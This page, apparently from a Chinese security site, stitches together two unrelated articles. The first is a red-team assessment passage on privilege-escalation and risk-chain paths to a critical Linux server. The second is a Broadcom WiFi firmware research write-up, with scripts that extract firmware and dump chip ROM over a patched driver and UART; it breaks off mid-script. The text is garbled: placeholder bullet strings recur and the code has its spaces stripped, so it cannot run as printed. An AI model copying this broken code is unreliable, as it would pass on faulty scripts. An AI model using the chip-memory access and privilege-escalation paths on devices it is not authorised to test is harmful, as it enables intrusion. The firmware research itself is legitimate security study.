在運行多個態勢感知命令後,評估人員使用本地可用的本機操作系統命令來確定組織中被視為致命危害對象的機器的大部分信息。

評估人員了解到Linux服務器使用的內核版本已過時,易受本地權限提升漏洞的攻擊。在組織中的這樣一台關鍵機器上從非特權用戶過渡到超級用戶的能力構成了極其危險的風險。如果其他評估模型沒有完全且成功地破壞網絡中的設備,導致並包括這台可能深入目標組織的機器,那麼這種風險也將不會在其他評估模型中被發現。 CAPTR團隊立即評估了該高風險項,在建立態勢感知的最初幾分鐘內,就發現了一個關鍵的可報告風險項,甚至沒有進行外部漏洞利用和擴展評估。

初始態勢感知命令通知評估人員,有三台機器與高風險機器通信。有一台計算機,可能是管理員,正在使用SSH遠程訪問和管理該計算機。此信息可在文件系統中找到。與SSH協議相關的日誌和文件位於計算機上的用戶目錄中,執行history 系統命令的結果中可以看到用戶的活動信息,很明顯是網絡管理員的典型活動。如果沒有CAPTR團隊中使用的本地特權視角,這些信息可能永遠不會被發現,如果已經被發現,這意味著典型的紅隊評估將遠程對多個設備執行漏洞利用,並將運行存在潛在危險的內核級權限提升exp,以便獲得與CAPTR 團隊在開始時所使用的方法看到的相同信息的權限。

評估人員通過在本機執行操作系統命令查看已建立連接的網絡信息表明還存在其他兩個通信對象。一個是訪問Linux服務器託管的80端口上的只讀web文件共享,另一個是訪問21端口上的文件傳輸服務器。進一步檢查後,評估人員確定文件傳輸服務器用於將文件放在Linux服務器上,供其他用戶查看和下載。通過進一步的本地情報收集,評估人員還發現,文件傳輸能力不限於特定位置,如web文件共享目錄,遠程文件傳輸可能會覆蓋通過機器調度機制以超級用戶權限執行的多個未受保護的腳本。

目前,尚未進行任何漏洞利用,我們在不到一天的評估時間內已經有以下極有價值的發現可以報告:

使用內核漏洞提升本地權限

作為超級用戶執行遠程代碼

-作為超級用戶執行的可寫調度作業的權限配置不當

-無約束的文件傳輸服務器

本地情報分析評估還確定了致命風險項的三個一級通信對象。確定這些目標後,CAPTR團隊繼續進行分析,以確定評估這些主機的順序。這種優先順序對報告也很有價值,稍後將在確定哪些環節最危險時進行報告。這些風險鏈由來源、目的地、通信方法和權限構成。設備之間可能有多個風險鏈。例如,如果管理員的計算機可以通過SSH(作為管理用戶)或文件傳輸(作為非特權用戶)訪問關鍵主機(下圖中的Server),這意味著攻擊者需要在該第一層通信上獲得較少的特權才能攻擊關鍵主機。在繼續完成這個示例的過程中,我提供了一些簡單的優先順序和評估決策點。在現實生活中,每種場景都會對任何攻擊性安全評估施加其獨特的屬性,評估人員的決定可能會以不同的方式推進演練。該場景需要先澄清評估流程,但與流程本身不同的是,所包含的風險決策應作為示例而不是指導,因為它們可能因組織而異。

回到我們的例子。通過對演練範圍內致命危害項高危主機的本地評估我們可以確定的風險鏈如下:

10.0.0.2上的超級用戶可以使用SSH協議作為超級用戶訪問10.0.0.1

10.0.0.3上的非特權用戶可以使用FTP作為非特權用戶訪問10.0.0.1

10.0.0.4上的非特權用戶可以使用HTTP作為非特權用戶訪問10.0.0.1(見下圖)

Untitled(1).png

通信鏈路

第一個風險鏈構成了攻擊關鍵主機Server的最大風險,因為它提供了超級用戶對關鍵主機Server的即時交互訪問。任何能夠破壞該第一層通信的攻擊者都會對Linux服務器造成嚴重威脅。 FTP風險鏈排第二,因為它提供了非特權訪問。但是,它還允許將文件移動到服務器,並且,根據我們對存在的已識別本地權限提升漏洞的了解,這是一條潛在的但更複雜的遠程交互路徑。 HTTP風險鍊是最後一個,因為它允許非特權用戶從特權主機下載數據,是只讀的,需要利用額外的漏洞才能攻擊關鍵主機Server。

全系列文章請查看:https://www.4hou.com/member/dwVJ

Broadcom是全球無線設備的主要供應商之一。由於這些芯片用途廣泛,因此構成了攻擊者的高價值目標,因此,在其中發現的任何漏洞都應視為帶來了很高的風險。在此博客文章中,我記錄了我在Quarkslab實習的情況,其中包括獲取,反轉和Fuzzing固件,以及發現一些新漏洞。

0x00 介紹Broadcom是全球無線設備的主要供應商之一,他們生產帶有43系列標籤的無線芯片,從智能手機到筆記本電腦,智能電視和物聯網設備,你幾乎可以在任何地方找到這些芯片。你可能會在不知道的情況下就使用了它,例如,如果你有戴爾筆記本電腦,則可能正在使用bcm43224或bcm4352卡;如果你擁有iPhone,Mac筆記本,Samsumg手機或Huawei手機等,也可能使用Broadcom WiFi芯片。

由於這些芯片用途廣泛,因此變成了攻擊者的高價值目標,因此,在其中發現的任何漏洞都應視為會帶來很高的風險。

我研究了很長一段時間的Broadcom芯片,將已知漏洞複製並移植到其他易受攻擊的設備,以學習和改進幾種常見的信息安全慣例,在此文章中,我記錄了我的研究過程,包括獲取,逆向和Fuzzing固件,以及分析發現的一些新漏洞。

0x01 關於WLAN和Linux在開始之前,讓我們看一下802.11無線標準。

1997年創建的第一個IEEE 802.11標準[1]標準化了PHY和MAC層,這是最低的兩個OSI層。

對於PHY層,選擇了兩個頻帶:紅外(IR)頻帶和微波頻帶(2.4GHz);之後,其他標準(例如802.11a [2])帶來了另一個頻率範圍(5GHz)。

MAC層使用三種類型的幀:管理,數據和控制;802.11標頭幀的幀控製字段標識任何給定幀上的類型。spacer.gif 1584961556518.png

管理幀由MLME(MAC子層管理實體)實體進行管理。根據處理MLME的內核的位置,我們可以得到兩種主要類型的無線芯片實現:SoftMAC(其中MLME在內核驅動程序中運行)和HardMAC(也稱為FullMAC),其中MLME在固件中嵌入在嵌入式固件中。芯片並不是像生活中看到的那麼簡單,存在一些混合實現,例如,探測響應和請求由驅動程序管理,而關聯請求和身份驗證則由芯片的固件處理。

FullMAC設備在功耗和速度方面提供了更好的性能,這就是為什麼它們在智能手機中得到大量使用,並且往往成為市場上使用最多的芯片的原因。它們的主要缺點是限制了用戶發送特定幀或將其設置為監視模式的能力,為此,將需要直接編輯芯片上運行的固件。

從Linux操作系統的角度來看,以上內容為我們提供了無線堆棧中組件的兩種主要佈局:當無線設備是SoftMAC設備時,內核將使用稱為'mac80211'的特定Linux內核模塊(LKM)。該驅動程序公開MLME API以便管理管理幀,否則內核將直接使用硬件驅動程序並將MLME處理卸載到芯片的固件中。

spacer.gif 1584961578973.png

0x02 Broadcom 的bcm43xxx芯片Broadcom bcm43xxx系列同時具有HardMAC和SoftMAC卡。不幸的是,我們找不到所分析所有芯片的所有數據表,賽普拉斯收購Broadcom的“ IoT業務”分支後,已經發布了一些可用的數據表;但是,有些芯片同時集成了WLAN和藍牙函數,例如bcm4339或bcm4330。

分析的所有芯片都將ARM Cortex-M3或ARM Cortex-R4用作非關鍵時間操作的主要MCU,因此我們需要處理兩個類似的指令集:armv7m和armv7r。這些MCU具有一個ROM和一個RAM,其大小取決於芯片組的版本。

所有時間緊迫的操作都由D11內核的Broadcom專有處理器實現,該處理器主要負責PHY層。

這些芯片使用的固件分為兩部分:一部分寫入ROM,不能修改,另一部分由驅動程序上傳到芯片的RAM。這樣,供應商僅通過更改固件的RAM部分就可以為其芯片添加新函數或編寫更新。

1584961611277.png

FullMAC芯片非常有趣,首先如在固件代碼中實現MLME層之前所述,但是它們還提供卸載函數,例如ARP緩存,mDNS,EAPOL等。這些芯片還具有一些硬件加密模塊,可以加密和解密密碼,流量,管理密鑰等。

所有卸載函數都增加了攻擊面,為我們提供了一個不錯的研究空間。

為了與主機(應用處理器)進行通信,b43系列使用了幾種總線接口:USB,SDIO和PCIe。

1584961638947.png

在驅動程序方面,我們可以將bcm43xxx驅動程序集分為兩類:開源和專有。

開源:

马云惹不起马云b43 (reversed from proprietary wl/old SoftMAC/Linux)

马云惹不起马云brcmsmac(SoftMAC/Linux)

马云惹不起马云brcmfmac(FullMAC/Linux)

马云惹不起马云bcmdhd(FullMAC/Android)

專有:

马云惹不起马云broadcom-sta aka'wl'(SoftMAC FullMAC/Linux) spacer.gif 1584961665277.png

“ wl”驅動程序在諸如路由器之類的嵌入式系統上最常用。它通常也用在筆記本電腦上,而筆記本電腦的驅動程序不支持brcmfmac/brcmsmac,例如Dell XPS上的bcm4352芯片。另外,wl驅動程序使用其自己的MLME,不需要LKM'mac80211'處理管理幀,從而為攻擊者擴大了攻擊面。

Broadcom發行的版本通常稱為“混合”驅動程序,因為代碼的主要部分來自兩個已編譯的ELF(在編譯時使用的對象)。為什麼兩個?因為一個用於x86_64體系結構,另一個用於i386。這些對象保存了驅動程序的主要代碼,因此公開了許多Broadcom API的函數。

芯片的固件和wl驅動程序共享許多代碼,因此在一個中發現的漏洞也可能在另一個中存在。

0x03 獲取固件1)第一部分:RAM固件

如前所述,固件分為兩部分。最容易抓住的部分是RAM部分,該部分由驅動程序加載到RAM中,這部分包含主MCU使用的代碼和數據,以及D11內核使用的微代碼。

固件的此部分未簽名,並且使用CRC32校驗和“驗證”完整性。這導致了一些固件修改,以便添加諸如監控器模式之類的函數;例如,SEEMO Lab發布了NEXMON項目[3],這是一個了不起的框架,用於通過用C編寫補丁來修改這些固件。

在我們的研究中,我們遇到了兩種可能的RAM固件映像格式:第一個也是最常遇到的是沒有特定結構的簡單二進制blob;第二種是TRX格式,在bcm43236芯片上工作時很容易解析。

使用.bin RAM固件時,通常在文件末尾有一個字符串,用於顯示:

马云惹不起马云芯片版本

马云惹不起马云芯片用於主機進行加密狗通信的總線

马云惹不起马云固件提供的函數;p2p,TDLS等

马云惹不起马云固件版本

马云惹不起马云CRC校驗和

马云惹不起马云創建日期。

當使用的驅動程序是brmfmac或bcmdhd時,我們可以直接從主機文件系統獲取RAM固件。在Linux上,我們可以在/lib/firmware/brcm中找到它,在Android上可以在/system/vendor/firmware中找到它。

在其他情況下,它會根據我們使用的系統而有所不同:

1584961691355.png

如果使用的驅動程序是專有wl,我們可以在LKM的.data部分中找到固件的RAM部分,可以使用LIEF輕鬆提取[8]。

wl=lief.parse('wl.ko')

data=wl.get_section('.data')

forsymbolinwl.symbols:

.if'dlarray_'insymbol.name:

.print(symbol.name)

.

dlarray_4352pci

dlarray_4350pci

b4352=wl.get_symbol('dlarray_4352pci')

bcm4352_fw=data.content[b4352.value:b4352.value+b4352.size]

withopen('/tmp/bcm4352_ramfw.bin','wb')asf:

.f.write(bytes(bcm4352_fw))

.

442233

$strings/tmp/bcm4352_ramfw.bin|tail-n1

4352pci-bmac/debug-ag-nodis-aoe-ndoeVersion:6.30.223.0CRC:ff98ca92Date:Sun2013-12-1519:30:36PSTFWID01-9413fb21發布的bcm4352固件最新採用WL上的Linux驅動程序的日期2013年

2)第二部分:ROM簡介

固件的ROM部分是了解這些芯片內部的最重要的部分。

為了拿到ROM部分,我們需要知道它的映射位置。查找基址的最佳方法是讀取驅動程序的頭文件,例如在bcmdhd的頭文件/include/hndsoc.h 中;另一種替代方法是讀取Nexmon項目README,該項目根據我們的MCU型號為我們提供了其他基址,精明的讀者可能會發現這些地址不同。 Nexmon項目指定具有Cortex-M3的芯片的ROM加載為0x800000,bcmdhd的標頭顯示為0x1e000000,兩者都是正確的,似乎ROM和RAM映射了兩次。此外,知道基址可以為我們提供有關所使用的MCU的線索,例如,如果將ROM轉儲到0x000f0000,則表明該芯片正在使用ARM Cortex-R4。

1584961734791.png

3)在Android系統上獲取ROM

在Android上,我們可以使用dhdutil工具,該工具是舊wlctl實用程序的Android開源改進分支,通過使用此工具的“內存字節”函數,我們可以轉儲芯片組的RAM,在某些情況下還可以轉儲ROM。

adbshell/data/local/tmp/dhdutil-iwlan0membytes-r0x00xa0000rom.bin例如,在依賴Cortex-R4的Nexus 5中使用的bcm4339芯片上,ROM被直接轉儲。不幸的是,在較舊的bcm4330(Cortex-M3)上,此函數無效;但是,只要你可以與RAM交互,就可以Hook一個函數,該存根將把ROM逐片複製到RAM中的空區域,之後,我們可以轉儲所有ROM的分片。

spacer.gif 1584961798349.png

4)恢復Linux系統上的ROM

在具有brcmfmac驅動程序的Linux上,我們無法直接訪問ROM。因此,我們需要找到一種直接在ROM或RAM中與芯片內存交互的方法。幸運的是,當芯片使用SDIO總線與主機進行通信時,開源brcmfmac驅動程序將公開brcmf_sdiod_ramrw函數,此函數使我們可以從主機讀取和寫入芯片組的RAM。

如果我們修改驅動程序以便在此函數周圍添加一個ioctl包裝器,則可以從一個很小的userspace實用程序讀取和寫入芯片組的RAM。

在調用brcmf_sdiod_ramrw之前,我們必須調用sdio_claim_host以便回收SDIO總線的利用率;請注意,如果該設備未連接到任何接入點,則該設備可能處於低功耗模式,並且總線可能處於空閒狀態,因此我們需要通過調用bcmf_sdio_bus_sleep和brcmf_sdio_clkctl來確保設備的總線正常運行。

intbrcmf_ioctl_entry(structnet_device*ndev,structifreq*ifr,intcmd)

{

.

sdiobk-alp_only=true;

sdio_claim_host(sdiobk-sdiodev-func[1]);

brcmf_sdio_bus_sleep(sdiobk,false,false);

brcmf_sdio_clkctl(sdiobk,CLK_AVAIL,false);

res=brcmf_sdiod_ramrw(sdiobk-sdiodev,margs-op,margs-addr,buff,margs-len);

if(res)

{

printk(KERN_DEFAULT'[!]Dumpmemfailedforaddr%08x.\n',margs-addr);

sdio_release_host(sdiobk-sdiodev-func[1]);

kfree(buff);

return(-1);

}

if(copy_to_user(margs-buffer,buff,margs-len)!=0)

printk(KERN_DEFAULT'[!]Can'tcopybuffertouserland.\n');

.

}我們需要編寫一個小程序來與用戶領域的ioctl進行交互,有了它,我們能夠讀寫設備RAM:

.

memset(margs,0,sizeof(t_broadmem));

margs.addr=strtol(ar[1],NULL,16);

margs.op=1;

if(errno==ERANGE)

prt_badarg(ar[1]);

len=strtol(ar[2],NULL,10);

if(errno==ERANGE)

prt_badarg(ar[2]);

margs.buffer=hex2byte((unsignedchar*)ar[3],len);

if((s=socket(AF_INET,SOCK_DGRAM,0))0)

return(-1);

strncpy(ifr.ifr_name,ar[0],IFNAMSIZ);

margs.len=len;

ifr.ifr_data=(char*)margs;

if(!(ret=ioctl(s,SIOCDEVPRIVATE,ifr)))

printf('[+]Writesuccesfull!\n');

else

printf('[!]Failedtowrite.\n');

close(s);

free(buf);

return(ret);

.現在我們可以讀寫芯片的RAM,我們可以通過以下方式轉儲ROM:

马云惹不起马云Hook位於RAM中並由動作X調用的函數

马云惹不起马云將ROM逐片複製到RAM中的空白區域

马云惹不起马云轉儲所有新復制的ROM片並將其串聯。

此協議與我們在芯片的MCU是Android上的Cortex-M3時使用的協議相同;但是,這次我們不得不修改驅動程序並構建自己的工具以使用新驅動程序的ioctl。

在RPI3芯片(bcm43430)上工作時,我們選擇了這種方法。

5)在特定情況下獲取ROM部分

還有許多其他可能的方案:

如果你的芯片將brcmfmac驅動程序與PCIe總線一起使用怎麼辦?如果你的芯片使用專有驅動程序“ wl”在嵌入式系統中怎麼辦?如果主機操作系統上沒有shell,該怎麼辦?或者,如果你沒有權限?等等.

在所有其他情況下,你都有幾種可能:如果可以訪問硬件,則可以尋找UART訪問,或者可以掛接wl驅動程序,在“ SFR微型解碼器”(bcm43236)上工作時,我們選擇了UART訪問。

RTE(usbrdl)v5.90(TOB)runningonBCM43235r3@20/96/96MHz.

rdl0:BroadcomUSBRemoteDownloadAdapter

ei1,ebi2,ebo1

RTE(USB-CDC)6.37.14.105(r)onBCM43235r3@20.0/96.0/96.0MHz

000000.007ei1,ebi2,ebo1

000000.054wl0:BroadcomBCM43235802.11WirelessController6.37.14.105(r)

000000.060nodisconnect

000000.064reclaimsection1:Returned91828bytestotheheap

000001.048bcm_rpc_buf_recv_mgn_low:HostVersion:0x6250e69

000001.054ConnectedSession:69!

000001.057revinfo

000063.051rpcuptime1minutes

?

000072.558reboot

000072.559rmwk

000072.561dpcdump

000072.563wlhist

000072.564rpcdump

000072.566md

000072.567mw

000072.569mu

000072.570?

波特率為115200 b/s,命令md允許將內存轉儲到特定地址,你應該指定地址以及要轉儲的DWORD數,有了一個很小的PySerial腳本,我們就能夠轉儲ROM並獲得實時RAM。

#!/usr/bin/envpython3

importserial

importbinascii

nb=65535

baseaddr=0

uart=serial.Serial('/dev/ttyUSB0',115200)

uart.write(b'md0x%08x4%d\n'%(baseaddr,nb))

i=0

dump=b''

whilei!=nb:

read=uart.readline().split(b'')

ifb''inread[0]:

continue

ifb'rpc'inread[2]:

continue

print('Dump%s%s\r'%(read[1][:-1],read[2]),end='')

dump+=binascii.unhexlify(read[